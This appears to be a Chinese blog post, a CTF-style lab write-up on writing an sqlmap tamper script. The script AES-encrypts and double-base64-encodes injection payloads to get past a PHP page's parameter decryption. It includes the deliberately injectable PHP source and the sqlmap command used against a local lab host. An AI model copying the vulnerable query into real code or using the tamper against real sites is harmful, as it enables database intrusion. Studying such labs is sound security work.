1. 程式人生 > >sqlmap tamper 編寫練習

sqlmap tamper 編寫練習

@Time: 2018/11/21

前言:

大家應該都知道,SQLMAP是一款注入神器,大多數遇到的SQL注入都可以用它來搞定,而且他是開源的,因此我們也可以編寫一些tamper來應對遇到的問題,因為自己寫指令碼注入實在是太慢了ummmmm

環境:

這裡的話,就借用前兩天在湖湘杯中遇到的環境,因為比賽的時候有down注入點的原始碼,其他的index或者資料庫都是按照自己的心情亂寫的 :)

這裡是用的是win7+phpstudy,附上注入點的原始碼(這裡echo id是我加的。方便觀看到效果)

<?php
header('content-type:text/html;charset=utf-8');
require_once './config.php';
//解密過程
function decode($data){
	$td = mcrypt_module_open(MCRYPT_RIJNDAEL_128,'',MCRYPT_MODE_CBC,'');
	mcrypt_generic_init($td,'ydhaqPQnexoaDuW3','2018201920202021');
	$data = mdecrypt_generic($td,base64_decode(base64_decode($data)));
	mcrypt_generic_deinit($td);
	mcrypt_module_close($td);
	if(substr(trim($data),-7)!=='hxb2018'){
		echo "the aes decode is not good!";
	}else{
		return substr(trim($data),0,strlen(trim($data))-7);
	}
}
$id=decode($_GET['id']);
echo $id;
$sql="select id,title,content from notice where id=$id";
$info=$link->query($sql);
$arr=$info->fetch_assoc();
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>X公司HR系統V1.0</title>
<style>.body{width:600px;height:500px;margin:0 auto}.title{color:red;height:60px;line-height:60px;font-size:30px;font-weight:700;margin-top:75pt;border-bottom:2px solid red;text-align:center}.content,.title{margin:0 auto;width:600px;display:block}.content{height:30px;line-height:30px;font-size:18px;margin-top:40px;text-align:left;color:#828282}</style>
</head>
<body>
<div class="body">
<div class="title"><?php echo $arr['title']?></div>
<div class="content"><?php echo $arr['content']?></div>
</body>
</html>

分析:

這裡是正常的頁面,可以看到有一個引數id,但是貌似這裡的值是被加密的,無法一眼看出來是什麼,但是我們可以看到原始碼,提取到一些我們需要的資訊。

這裡的話,傳進來的引數id,首先會被執行decode函式,然後得到的id再進行sql查詢操作,我們再看看decode函式

熟悉AES的兄弟應該能看出來了吧,這裡是CBC模式的AES加密,已經給了key和iv值,得到的結果會base64加密兩次,最後檢驗字串尾部的7位是否等於hxb2018,等於就會返回除卻hxb2018外的字元。

現在我們有了如下資訊:

1.AES演算法
    mode: CBC
    key: ydhaqPQnexoaDuW3
    iv: 2018201920202021
2.base64*2
3.str[:-7] !== 'hxb2018' 

接下來我們就可以寫一個AES的加密演算法,利用python當然快啦~

    key = 'ydhaqPQnexoaDuW3'
    iv = '2018201920202021'
    cryptor = AES.new(key,AES.MODE_CBC,iv)
    padding = lambda x: x + (16-(len(x)%16 or 16))*'\0'
    plain = padding(text)
    cipher = cryptor.encrypt(plain)

在加密之前要記得將'hxb2018'加進去,之後base64加密即可~

貼上我的tamper程式碼:

from Crypto.Cipher import AES
from base64 import b64encode
from lib.core.data import kb
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
    pass
def tamper(payload,**kwargs):
    return encrypt(payload)
def encrypt(text):
    text = text+'hxb2018'
    key = 'ydhaqPQnexoaDuW3'
    iv = '2018201920202021'
    cryptor = AES.new(key,AES.MODE_CBC,iv)
    padding = lambda x: x + (16-(len(x)%16 or 16))*'\0'
    plain = padding(text)
    cipher = cryptor.encrypt(plain)
    result = b64encode(b64encode(cipher))
    return result

其中的 PRIORITY 是設定優先順序,然後dependencies()是保持指令碼整體結構一致(說實話我也不知道幹嘛的,,直接按照他的pass就好啦),

寫完之後,將其放在kali下面的 /usr/share/sqlmap/tamper 下就好了

最後試驗一下~

sqlmap -u "http://192.168.10.200/myweb/sqlInjection/aes_tam/list.php?id=1" --tamper=AES_Tamper.py --dbs --batch

看得出,注入成功了

不過在之前的時候,我sqlmap的語句中,id引數沒有寫值,就沒有成功,也不知道是啥原因,

啊,原因找到了,是我太菜了ummmm

END:)